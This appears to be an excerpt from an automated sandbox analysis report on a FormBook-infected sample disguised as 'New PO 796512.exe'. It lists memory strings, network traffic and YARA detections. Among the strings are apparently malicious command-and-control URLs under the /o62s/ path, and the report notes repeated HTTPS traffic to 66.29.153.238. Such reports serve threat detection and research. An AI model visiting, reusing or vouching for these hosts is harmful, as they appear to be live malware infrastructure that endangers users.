          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iveworks.xyz
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iveworks.xyz/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iveworks.xyz/o62s/www.enisehirarnavutkoy.xyz
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iveworks.xyzReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kipoxz.xyz
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kipoxz.xyz/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kipoxz.xyz/o62s/www.ottostar.motorcycles
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kipoxz.xyzReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.onghi292.top
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.onghi292.top/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.onghi292.top/o62s/www.uikstudy.sbs
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.onghi292.topReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ottostar.motorcycles
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ottostar.motorcycles/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ottostar.motorcycles/o62s/www.2045.pictures
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ottostar.motorcyclesReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.pertforces.store
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.pertforces.store/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.pertforces.store/o62s/www.kipoxz.xyz
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.pertforces.storeReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.regnancy-10606.bond
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.regnancy-10606.bond/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.regnancy-10606.bond/o62s/www.gtg.store
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.regnancy-10606.bondReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uikstudy.sbs
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uikstudy.sbs/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uikstudy.sbs/o62s/www.pertforces.store
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uikstudy.sbsReferer:
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ukulbagus10.click
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ukulbagus10.click/o62s/
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ukulbagus10.click/o62s/www.epiyiisigorta.online
          Source: explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ukulbagus10.clickReferer:
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
          Source: explorer.exe, 0000000E.00000003.2272318925.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.000000000913F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 0000000E.00000003.2272318925.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 0000000E.00000000.1368450801.0000000008DA6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 0000000E.00000002.2544994555.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
          Source: explorer.exe, 0000000E.00000000.1365843735.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2539562408.0000000007276000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
          Source: explorer.exe, 0000000E.00000002.2544994555.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
          Source: explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
          Source: explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
          Source: explorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
          Source: explorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
          Source: explorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.com
          Source: New PO 796512.exe, 00000001.00000002.1363353945.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1547657978.0000000003121000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1633783698.00000000026BB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1704408272.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1847859755.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1937703257.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2018258086.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://rn3-sa.com
          Source: New PO 796512.exe, New PO 796512.pif.pif.pif.pif.61.dr, New PO 796512.pif.pif.24.dr, New PO 796512.pif.11.dr, New PO 796512.pif.pif.pif.42.drString found in binary or memory: https://rn3-sa.com/1454
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 0000000E.00000003.2272318925.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.00000000090F2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/
          Source: explorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: explorer.exe, 0000000E.00000002.2539562408.00000000071A4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.pollensense.com/
          Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
          Source: unknownNetwork traffic detected: HTTP traffic on port 49922 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49882
          Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49836 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49854 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49939 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49939
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49836
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49813
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49854
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49699
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49974
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
          Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49882 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49901
          Source: unknownNetwork traffic detected: HTTP traffic on port 49901 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49922
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49699 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49723 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49745 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49763 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49793 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49813 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49836 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49854 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49882 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49901 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49922 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49939 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49974 version: TLS 1.2

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
